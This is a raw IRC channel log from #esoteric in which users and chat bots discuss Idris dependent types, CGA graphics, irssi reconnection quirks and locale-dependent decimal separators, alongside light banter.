:int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :well then watch episode 5 first and see if you understand anything of it ;) < 1393956466 186315 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :I do not think that that is the best idea, int-e < 1393956528 341378 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :You can watch one half of episode 1 interlaced with one half of episode 2, because watching episode 1.5 like that will round down to episode 1 because of truncation to integers. < 1393956581 564786 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :`? mad < 1393956590 396404 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :now what < 1393956602 77779 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :"u mad" is I think the expected response? < 1393956617 106404 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :HackEgo! < 1393956619 63702 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric ::( < 1393956620 549246 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :Gregor``: BOT SHORTAGE < 1393956622 451297 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :Gregor``, :( :( < 1393956624 333499 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :fungot: mad? < 1393956624 683300 :fungot!fis@eos.zem.fi PRIVMSG #esoteric :fizzie: now i say lo miss eu.dipx dipx where got always bluff me say u sleeping at which room will ask u come here and search for job right < 1393956650 563591 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :fizzie: that's not what HackEgo would respond to that command, no. < 1393956846 135069 :Slereah_!~jackal@176.222.51.233 PRIVMSG #esoteric :Is there an internet search engine that takes regexps? < 1393956898 198978 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Google code search used to, but only for searching code and not the web in general. < 1393956902 231511 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :And anyway it was discontinued. < 1393956915 863671 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :(There was that mildly interesting writeup on how it worked behind the scenes.) < 1393957474 636252 :Slereah__!~jackal@176.222.51.233 JOIN :#esoteric < 1393957585 199065 :Slereah_!~jackal@176.222.51.233 QUIT :Ping timeout: 240 seconds < 1393957587 764790 :MoALTz!~no@user-31-175-247-158.play-internet.pl QUIT :Read error: Connection reset by peer < 1393957606 112754 :atslash!~atslash@46.72.83.247 JOIN :#esoteric < 1393957683 857555 :Slereah_!~jackal@176.222.51.233 JOIN :#esoteric < 1393957840 503999 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :@ping < 1393957840 689235 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric :pong < 1393957852 303604 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :@ping again < 1393957852 489503 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric :pong < 1393957856 302319 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :Good < 1393957884 603325 :Slereah__!~jackal@176.222.51.233 QUIT :Ping timeout: 264 seconds < 1393957987 595363 :FreeFull_!~freefull@defocus/sausage-lover JOIN :#esoteric < 1393958065 113862 :FreeFull!~freefull@defocus/sausage-lover QUIT :Ping timeout: 240 seconds < 1393958338 479885 :Sprocklem!~Sprocklem@199.185.88.147 QUIT :Ping timeout: 240 seconds < 1393958352 595380 :FreeFull_!~freefull@defocus/sausage-lover QUIT :Ping timeout: 264 seconds < 1393958875 330712 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu JOIN :#esoteric < 1393959598 963576 :Sprocklem!~Sprocklem@199.185.88.147 JOIN :#esoteric < 1393959788 930243 :oklopol!~oklopol@dyn60-339.yok.fi QUIT :Ping timeout: 252 seconds < 1393960284 45575 :Slereah_!~jackal@176.222.51.233 QUIT :Ping timeout: 252 seconds < 1393960374 562712 :Slereahphone!~slereahph@80.10.159.111 JOIN :#esoteric < 1393960788 355745 :MoALTz!~no@user-31-175-247-158.play-internet.pl JOIN :#esoteric < 1393962018 606752 :FireFly!~firefly@oftn/member/FireFly PRIVMSG #esoteric :^style < 1393962018 831339 :fungot!fis@eos.zem.fi PRIVMSG #esoteric :Available: agora alice c64 ct darwin discworld enron europarl ff7 fisher fungot homestuck ic irc iwcs jargon lovecraft nethack pa qwantz sms* speeches ss wp youtube < 1393962024 271237 :FireFly!~firefly@oftn/member/FireFly PRIVMSG #esoteric :^style youtube < 1393962024 456503 :fungot!fis@eos.zem.fi PRIVMSG #esoteric :Selected style: youtube (Some YouTube comments) < 1393962034 208981 :FireFly!~firefly@oftn/member/FireFly PRIVMSG #esoteric :good evening, fungot < 1393962034 394105 :fungot!fis@eos.zem.fi PRIVMSG #esoteric :FireFly: no your not the only scene from the same < 1393962263 327460 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :fungot: Try to be more polite, please. < 1393962263 551182 :fungot!fis@eos.zem.fi PRIVMSG #esoteric :fizzie: genious. a++++++++++++++ im still laughing 12 hours later as he was good to see the < 1393962718 1654 :nisstyre!yourstruly@oftn/member/Nisstyre JOIN :#esoteric < 1393963066 740596 :conehead!~conehead@unaffiliated/conehead JOIN :#esoteric < 1393963339 879832 :Slereah_!~jackal@176.222.51.233 JOIN :#esoteric < 1393964378 737004 :shikhin!~Shikhin@unaffiliated/shikhin QUIT :Remote host closed the connection < 1393964396 493674 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :"This article may require cleanup to meet Wikipedia's quality standards. The specific problem is: the style and grammar of most of the article." < 1393964401 653962 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :The most specific problem. < 1393964487 826331 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :(It is an accurate assessment, I'm not saying that.) < 1393964531 145572 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :A grammar of unusual style this is. < 1393964561 65290 :MindlessDrone!~MindlessD@unaffiliated/mindlessdrone QUIT :Quit: MindlessDrone < 1393964582 982566 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :For the record, the article in question was http://en.wikipedia.org/wiki/Lady_in_Black_(song) and it may indeed fall slightly short of the quality standards. < 1393964946 237724 :Slereah__!~jackal@176.222.51.233 JOIN :#esoteric < 1393964951 502285 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :Lady in Black, is dancing with me, back to back, or am i confusing it with something else. < 1393964973 786354 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :I think you are. < 1393964986 590136 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :It's probably not a terribly unique term in music. < 1393965016 94532 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :ACTION might not be using enough joke tags. < 1393965041 938164 :Slereah_!~jackal@176.222.51.233 QUIT :Ping timeout: 265 seconds < 1393965053 825327 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :If that was a reference to something, I completely missed it. < 1393965090 977063 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :https://en.wikipedia.org/wiki/The_Lady_in_Red_(Chris_de_Burgh_song) < 1393965094 154856 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :hth < 1393965129 126247 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :ic < 1393965204 604805 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :"20:30:34.373 E [ap_handler_impl.cpp:1693] ChannelError(0, 1, get_wallet)" Spotify's looking for my wallet? That's suspicious. < 1393965218 632672 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :sounds spotty. < 1393965261 365547 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Fortunately, assuming I read that right, it didn't find it. < 1393965399 40708 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :ok < 1393966026 36276 :Vorpal!~Vorpal@unaffiliated/vorpal QUIT :Ping timeout: 252 seconds < 1393966078 317560 :atslash!~atslash@46.72.83.247 QUIT :Quit: This computer has gone to sleep < 1393966156 255892 :Vorpal!~Vorpal@unaffiliated/vorpal JOIN :#esoteric < 1393966355 224505 :Slereah__!~jackal@176.222.51.233 QUIT :Remote host closed the connection < 1393966363 201083 :Slereah_!~jackal@176.222.51.233 JOIN :#esoteric < 1393967530 733951 :nisstyre!yourstruly@oftn/member/Nisstyre QUIT :Quit: WeeChat 0.4.3 < 1393967941 970202 :itsy!~digital_w@37.152.198.84 QUIT :Ping timeout: 265 seconds < 1393969098 406126 :MoALTz!~no@user-31-175-247-158.play-internet.pl QUIT :Ping timeout: 240 seconds < 1393970635 530409 :Slereah__!~jackal@176.222.51.233 JOIN :#esoteric < 1393970759 290873 :Slereah_!~jackal@176.222.51.233 QUIT :Ping timeout: 241 seconds < 1393971101 827083 :Slereahphone!~slereahph@80.10.159.111 QUIT :Quit: Colloquy for iPhone - http://colloquy.mobi < 1393971158 386876 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu QUIT :Ping timeout: 240 seconds < 1393971505 349983 :vravn!~vravn@syn.rook.sx QUIT :Excess Flood < 1393971562 390410 :vravn!~vravn@syn.rook.sx JOIN :#esoteric < 1393971672 537056 :Sprocklem!~Sprocklem@199.185.88.147 QUIT :Ping timeout: 264 seconds < 1393972595 428753 :reynir!~reynir@unaffiliated/reynir QUIT :Quit: reboot < 1393972885 148128 :vravn!~vravn@syn.rook.sx QUIT :Excess Flood < 1393972912 367569 :vravn!~vravn@syn.rook.sx JOIN :#esoteric < 1393973013 579577 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover JOIN :#esoteric < 1393973020 736646 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover PRIVMSG #esoteric :OK so < 1393973032 2108 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :http://esolangs.org/wiki/Big_Man_Computer < 1393973070 297027 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover PRIVMSG #esoteric :I need to acquire an eclectic collection of several MP3s by Saturday. < 1393973075 483460 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover PRIVMSG #esoteric :How best do I go about this? < 1393973084 705927 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Phantom_Hoover: Do you know which ones? < 1393973113 243326 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover PRIVMSG #esoteric :yes but doing it case by case is something i'd like to avoid < 1393973394 60758 :lexande!arapp@terpsichore.ugcs.caltech.edu PART :#esoteric < 1393973672 178135 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu JOIN :#esoteric < 1393973950 244286 :impomatic!~john_metc@37.152.198.84 QUIT :Ping timeout: 252 seconds < 1393974548 864192 :nooodl!~nooodl@91.177.100.186 PRIVMSG #esoteric :Phantom_Hoover: how many mp3s < 1393974674 947844 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover PRIVMSG #esoteric :5 to ten < 1393975194 883685 :dalrefugee!699ed813@gateway/web/freenode/ip.105.158.216.19 JOIN :#esoteric < 1393975206 643430 :dalrefugee!699ed813@gateway/web/freenode/ip.105.158.216.19 PRIVMSG #esoteric :Yo! < 1393975232 570812 :vravn!~vravn@syn.rook.sx QUIT :Excess Flood < 1393975347 275694 :oerjan!oerjan@sprocket.nvg.ntnu.no QUIT :Quit: Nite < 1393975402 764511 :vravn!~vravn@syn.rook.sx JOIN :#esoteric < 1393975797 898340 :dalrefugee!699ed813@gateway/web/freenode/ip.105.158.216.19 PRIVMSG #esoteric :Coooool irc chat TAB on Fireox!!! < 1393975810 22653 :dalrefugee!699ed813@gateway/web/freenode/ip.105.158.216.19 PRIVMSG #esoteric :"WOW" (not world of warcraft) < 1393975819 234510 :dalrefugee!699ed813@gateway/web/freenode/ip.105.158.216.19 PRIVMSG #esoteric :probably the best window to oconnect to irc :) < 1393976375 889204 :dalrefugee!699ed813@gateway/web/freenode/ip.105.158.216.19 PRIVMSG #esoteric :where is Gerson Kurz ? ^^ < 1393977276 903498 :dalrefugee!699ed813@gateway/web/freenode/ip.105.158.216.19 QUIT :Quit: Page closed < 1393978051 904616 :TodPunk!~Tod@c-71-199-36-196.hsd1.ut.comcast.net QUIT :Quit: This is me, signing off. Probably rebooting or something. < 1393978602 424007 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net JOIN :#esoteric < 1393979037 372261 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover PRIVMSG #esoteric :rip dalrefugee < 1393979043 415544 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover PRIVMSG #esoteric :denied asylum 2014 < 1393979117 178667 :tromp!~tromp@ool-4570a22a.dyn.optonline.net JOIN :#esoteric < 1393979333 281091 :Slereah_!~jackal@176.222.51.233 JOIN :#esoteric < 1393979520 501478 :Slereah__!~jackal@176.222.51.233 QUIT :Ping timeout: 264 seconds < 1393979565 588096 :Sprocklem!~Sprocklem@S010674440130be65.cg.shawcable.net JOIN :#esoteric < 1393980189 886437 :yorick!~yorick@oftn/member/yorick QUIT :Remote host closed the connection < 1393982722 884059 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover QUIT :Quit: Leaving < 1393984040 897739 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Is it possible to display white pixels in CGA mode when palette 0 low intensity with background color 0 and border color 0 is selected? < 1393985389 723877 :vravn!~vravn@syn.rook.sx QUIT :Excess Flood < 1393985453 609104 :vravn!~vravn@syn.rook.sx JOIN :#esoteric < 1393986416 607404 :Sorella!~queen@oftn/member/Sorella QUIT :Quit: It is tiem! < 1393986764 550273 :Slereah_!~jackal@176.222.51.233 QUIT :Remote host closed the connection < 1393986779 470711 :Slereah_!~jackal@176.222.51.233 JOIN :#esoteric < 1393987046 577759 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Is "Big Man Computer" OK? < 1393988579 120504 :Slereah_!~jackal@176.222.51.233 QUIT :Remote host closed the connection < 1393988599 585316 :Slereah_!~jackal@176.222.51.233 JOIN :#esoteric < 1393989901 924164 :Bicyclidine!45a62f69@gateway/web/freenode/ip.69.166.47.105 JOIN :#esoteric < 1393990768 765642 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Sadly, not every function of several arguments can be flipped < 1393990774 538702 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :> flip the < 1393990774 744846 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :(input):0:0:No such variable a < 1393990775 581716 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : Not in scope: `the' < 1393990794 355008 :variable!root@freebsd/developer/variable PRIVMSG #esoteric :yo people < 1393990838 763485 :Bicyclidine!45a62f69@gateway/web/freenode/ip.69.166.47.105 PRIVMSG #esoteric :> :t the < 1393990838 969228 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :09Prelude.Basics.the : (13a : 12Type) -> 13a -> 13a < 1393990839 915103 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : :1:1: parse error on input `:' < 1393990855 836118 :Bicyclidine!45a62f69@gateway/web/freenode/ip.69.166.47.105 PRIVMSG #esoteric :why can't you flip that? < 1393990998 902292 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :The type of the second argument depends on the value of the first argument < 1393991023 574344 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :I think you can't have the dependencies go backwards < 1393991098 726832 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Apparently the type of flip indicates this < 1393991128 25751 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :(That it only takes non-dependent functions) < 1393991213 907282 :Bicyclidine!45a62f69@gateway/web/freenode/ip.69.166.47.105 PRIVMSG #esoteric :why have the dependency unidirectional? the Int "hello" makes just as little sense as (flip the) "hello" Int < 1393991216 722290 :Bicyclidine!45a62f69@gateway/web/freenode/ip.69.166.47.105 PRIVMSG #esoteric :> :t flip < 1393991216 971095 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :09Prelude.Basics.flip : (13a -> 13b -> 13c) -> 13b -> 13a -> 13c < 1393991217 900667 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : :1:1: parse error on input `:' < 1393991231 400517 :Bicyclidine!45a62f69@gateway/web/freenode/ip.69.166.47.105 PRIVMSG #esoteric :lol does the underlining mean the dependent type thing < 1393991250 532467 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :I thinnk underlining means implicit but the implcit argument not shown? < 1393991259 841637 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :lowercase unbound is implicit argument < 1393991303 59126 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Not sure how it displays when the implicit argument is shown < 1393991329 743097 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :> {n : Nat} -> a -> Vect n a -> Vect (S n) a < 1393991329 932406 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :(input):1:1: error: expected: ":", < 1393991330 118301 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric : end of input, operator < 1393991330 118447 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :{n : Nat} -> a -> Vect n a -> Vect (S n) a < 1393991330 118553 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :^ < 1393991330 878938 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : :1:1: parse error on input `{' < 1393991350 630113 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :> :t {n : Nat} -> a -> Vect n a -> Vect (S n) a < 1393991350 821157 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :(input):1:1: error: expected: end of input, < 1393991351 11741 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric : operator < 1393991351 199414 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric ::t {n : Nat} -> a -> Vect n a -> Vect (S n) a < 1393991351 199568 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :^ < 1393991351 680174 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : :1:1: parse error on input `:' < 1393991352 273525 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric :parse error on input `{' < 1393991354 667572 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric ::/ < 1393991370 777525 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :> :t with Vect (::) < 1393991370 965486 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :(input):0:0:Incomplete term (04::) < 1393991371 924636 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : :1:1: parse error on input `:' < 1393991374 884096 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :gah < 1393991837 11918 :nisstyre!yourstruly@oftn/member/Nisstyre JOIN :#esoteric < 1393993063 988718 :Melvar!~melvar@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :Sgeo: You can only have implicits in top-level types. < 1393993128 725690 :Melvar!~melvar@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :> :t \a => (n : Nat) -> a -> Vect n a -> Vect (S n) a < 1393993128 913658 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :\13a => (13n : 12Nat) -> 13a -> (12Vect 13n 13a) -> 12Vect (04S 13n) 13a : 12Type -> 12Type < 1393993129 792508 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : :1:1: parse error on input `:' < 1393993141 635052 :Melvar!~melvar@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :> :t Vect.(::) < 1393993141 826842 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :04Prelude.Vect.:: : 13a -> (12Vect 13n 13a) -> 12Vect (04S 13n) 13a < 1393993142 815108 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : :1:1: parse error on input `:' < 1393993204 136474 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Do explicit implicit arguments get underlined? < 1393993253 729969 :Bicyclidine!45a62f69@gateway/web/freenode/ip.69.166.47.105 PRIVMSG #esoteric :i'm going to pretend you didn't construct that phrase < 1393993255 203829 :Melvar!~melvar@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :Sgeo: you can :set showimplicits in the REPL, but the bot will not allow that command. The REPL will then display all implicit bindings, and they will still be underlined. < 1393993265 65727 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Ah, ok < 1393994758 693811 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :is there a windows rsync client thing < 1393995534 346274 :Slereah__!~jackal@176.222.51.233 JOIN :#esoteric < 1393995637 765659 :Slereah_!~jackal@176.222.51.233 QUIT :Ping timeout: 265 seconds < 1393995722 692946 :vravn!~vravn@syn.rook.sx QUIT :Excess Flood < 1393995745 379510 :vravn!~vravn@syn.rook.sx JOIN :#esoteric < 1393995840 685733 :nooodl!~nooodl@91.177.100.186 QUIT :Ping timeout: 265 seconds < 1393997059 677579 :Slereah_!~jackal@176.222.51.233 JOIN :#esoteric < 1393997098 319373 :Slereah__!~jackal@176.222.51.233 QUIT :Ping timeout: 240 seconds < 1393997524 260447 :ski!~ski@remote1.student.chalmers.se QUIT :Quit: Lost terminal < 1393997604 994303 :tromp!~tromp@ool-4570a22a.dyn.optonline.net QUIT :Remote host closed the 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1394004001 608631 :shikhout!~Shikhin@unaffiliated/shikhin NICK :shikhin < 1394005404 506701 :HackEgo!~HackEgo@162.248.166.242 JOIN :#esoteric < 1394006519 825170 :Tod-Autojoined!~Tod@c-71-199-36-196.hsd1.ut.comcast.net JOIN :#esoteric < 1394007062 583742 :TodPunk!~Tod@c-71-199-36-196.hsd1.ut.comcast.net QUIT :*.net *.split < 1394007068 993434 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net QUIT :*.net *.split < 1394007070 237716 :atehwa!atehwa@aulis.sange.fi QUIT :*.net *.split < 1394007070 475530 :sebbu!~sebbu@unaffiliated/sebbu QUIT :*.net *.split < 1394007070 921938 :zzo38!~zzo38@24-207-51-179.eastlink.ca QUIT :*.net *.split < 1394007072 932712 :quintopia!~quintopia@unaffiliated/quintopia QUIT :*.net *.split < 1394007073 167999 :augur!~augur@216-164-48-148.c3-0.slvr-ubr1.lnh-slvr.md.cable.rcn.com QUIT :*.net *.split < 1394007073 404753 :myname!~myname@84.200.43.57 QUIT :*.net *.split < 1394007073 641088 :jix!~jix@jixco.de QUIT :*.net *.split < 1394008417 730843 :prooftechnique!~NihilistD@c-174-63-103-117.hsd1.vt.comcast.net QUIT :Quit: leaving < 1394009274 798833 :conehead!~conehead@unaffiliated/conehead QUIT :Quit: Computer has gone to sleep. < 1394009350 482788 :shikhout!~Shikhin@unaffiliated/shikhin JOIN :#esoteric < 1394009454 894286 :shikhin!~Shikhin@unaffiliated/shikhin QUIT :Ping timeout: 255 seconds < 1394009456 603600 :shikhout!~Shikhin@unaffiliated/shikhin NICK :shikhin < 1394010058 743128 :jix!~jix@jixco.de JOIN :#esoteric < 1394010058 743252 :myname!~myname@84.200.43.57 JOIN :#esoteric < 1394010058 743315 :augur!~augur@216-164-48-148.c3-0.slvr-ubr1.lnh-slvr.md.cable.rcn.com JOIN :#esoteric < 1394010058 743379 :quintopia!~quintopia@unaffiliated/quintopia JOIN :#esoteric < 1394010058 743440 :zzo38!~zzo38@24-207-51-179.eastlink.ca JOIN :#esoteric < 1394010058 743503 :sebbu!~sebbu@unaffiliated/sebbu JOIN :#esoteric < 1394010058 743565 :atehwa!atehwa@aulis.sange.fi JOIN :#esoteric < 1394010058 743631 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net JOIN :#esoteric < 1394010420 116712 :MoALTz!~no@user-31-175-247-158.play-internet.pl JOIN :#esoteric < 1394010465 65591 :oerjan!oerjan@sprocket.nvg.ntnu.no JOIN :#esoteric < 1394010619 717509 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :that was weird, irssi cycled through every freenode server i have listed + irc.freenode.net, but couldn't connect. < 1394010656 9677 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :then i did /connect freenode manually, and it immediately reached the normal one. < 1394010831 437697 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :wait no it got thrown off again, but it happened before i joined the channel so i didn't notice before checking the status window < 1394010919 313219 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :oh hm < 1394010955 74064 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :nope it's even weirder, i'm on two servers, but oerjan_ didn't join this channel. < 1394011021 849307 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :i didn't know you could connect twice to the same network in a single irssi session. < 1394011030 101295 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :not that i've ever tried before. < 1394011066 338295 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :presumably my manual connection got added to the usual one, which resumed cycling through the hosts after a while. < 1394011100 297676 :olsner!~salparot@c83-252-203-32.bredband.comhem.se PRIVMSG #esoteric :if you have several users on the same network, I think the only way to do that is to connect once per user, so it makes sense if it's supported < 1394011110 923769 :olsner!~salparot@c83-252-203-32.bredband.comhem.se PRIVMSG #esoteric :but maybe you consider yourself the same as oerjan_ < 1394011214 961725 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :well he does look eerily similar to me < 1394011383 401942 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :`learn oerjan_ is oerjan and ørjan's chimæric clone. he shows up on irc when the network is having trouble. < 1394011386 674149 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :I knew that. < 1394012125 543318 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Eerily similar, except for the tail. < 1394012179 805846 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :I'm imagining something like http://goo.gl/RizR8e < 1394012242 918074 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :spitting image! < 1394014224 428484 :jconn!~va@1-130.ipswich.cc.colocall.com QUIT :Ping timeout: 264 seconds < 1394014394 320285 :jconn!~va@1-130.ipswich.cc.colocall.com JOIN :#esoteric < 1394014432 231589 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Oh gads, Audacity. < 1394014452 887216 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :It has a thing called "label tracks" where you can put point or region labels denoting things on the audio track. < 1394014472 608812 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :And then it can export this label track in a simple text format; we've used that for a project-thing. < 1394014519 125398 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Turns out the time stamps in the text format have '.' or ',' as the decimal separator depending on the current locale. < 1394014553 524067 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :It's not like it's a problem, it's just so silly. < 1394014638 752771 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :it can be a problem < 1394014665 43117 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :I remember SMBX uses the current locale for floats in NPC description files, meaning that levels suddenly stop working if you give them to someone French < 1394014681 275192 :olsner!~salparot@c83-252-203-32.bredband.comhem.se PRIVMSG #esoteric :it will be a problem if someone uses a different locale... we had some silly software with the same issue and ended up making separate config files for polish computers < 1394014713 306576 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :languages really need to distinguish between functions that output for serialization, and functions that output for human consumption < 1394014767 360622 :olsner!~salparot@c83-252-203-32.bredband.comhem.se PRIVMSG #esoteric :(or more generally, one config for .-locales and one for ,-locales, but iirc it was one specific office that had the "wrong" locale most often) < 1394014855 850063 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :comp.lang.c have been debating this recently, wrt thousands separators < 1394014920 11190 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :I just had to make my script to parse those label tracks we got (from non-technical users) to accept either; there seems to never be a thousands separator in these. < 1394014973 622710 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :I'm not sure if the Linux Audacity follows the system locale; mine generates dots but this is en_US; the files we got from a (presumably set to Finnish) Windows system had commas. < 1394015193 570954 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :There's something peculiar about this (elderly, female) speaker that just makes this forced-alignment system work real badly. < 1394018067 45782 :boily!~boily@96.127.201.149 JOIN :#esoteric < 1394019122 375052 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :`? something-that-isn't-in-hackego's-wisdom < 1394019123 580459 